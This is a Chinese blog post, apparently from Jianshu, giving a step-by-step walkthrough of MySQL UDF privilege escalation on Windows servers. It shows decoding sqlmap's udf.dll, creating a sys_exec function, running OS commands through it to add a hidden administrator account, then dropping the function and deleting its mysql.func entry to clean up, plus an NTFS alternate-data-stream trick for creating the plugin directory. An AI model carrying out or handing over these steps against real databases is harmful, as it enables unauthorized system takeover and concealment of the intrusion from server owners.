美文网首页
mysql提权之udf提权

mysql提权之udf提权

作者: migrate_ | 来源:发表于2019-05-10 19:29 被阅读0次

提权的前提

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
  2. mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  4. 版本大于5.1的udf.dll放到mysql安装目录的lib\plugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建lib\plugin文件夹,然后将udf.dll导出到这个目录。


    1.jpg
  5. udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数
  6. sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py


    2.jpg
  7. 解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件
  8. 将dll文件复制到mysql的/lib/plugin目录下
  9. 执行sql语句
create function cmdshell returns string soname "lib_mysqludf_sys.dll";
  1. 出现一个错误


    3.jpg
  2. 需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.dll,看一下有哪些函数可以创建


    4.jpg
  3. 就是这些了,我们可以使用sys_exec函数
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
5.jpg
  1. 可以正常执行命令了,添加用户
select sys_exec('net user waitalone waitalone.cn /add');
6.jpg
select sys_exec('net localgroup administrators waitalone /add');
7.jpg
  1. 查看是否添加成功


    8.jpg
  2. 到此就完成了,下边删除使用的函数
drop function sys_exec;
9.jpg
delete from mysql.func where name='sys_exec'
10.jpg
  1. 还有一种创建plugin文件夹的方式(我没成功过,有缘的小伙伴可能会成功)
select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

  1. 执行成功以后再进行导出即可

相关文章

  • 17.提权

    提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...

  • mysql的提权的四种方案

    mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第...

  • 【提权】MySQL提权之UDF

    0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。...

  • mysql提权之udf提权

    提权的前提 mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下...

  • Linux提权

    简单概述Linux的几种提权的办法。 内核溢出提权 mysql udf提权 上传库文件 执行库文件创建命令执行函数...

  • SQL提权

    UDF手工提权辅助: select @@basedir; #查看mysql安装目录select 'It is dl...

  • 网络安全-Day49-MYsql UDF提权

    mysqludf提权操作 提示:上传udf.dll 小于mysql5.1版本 C:\\WINDOWS\\udf.d...

  • UDF提权

    1.什么是udf UDF是mysql的一个拓展接口,UDF(User defined function)可翻译为用...

  • udf提权

    天闲的无聊DEDECMS搞了几个站。没事做提权吧。真的很久很久没有玩这东西了。测试经典的UDF.dll提权一次性成...

  • 【提权】MySQL提权之MOF

    0x01 前言 Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件: ...

网友评论

      本文标题:mysql提权之udf提权

      本文链接:https://www.haomeiwen.com/subject/zclzoqtx.html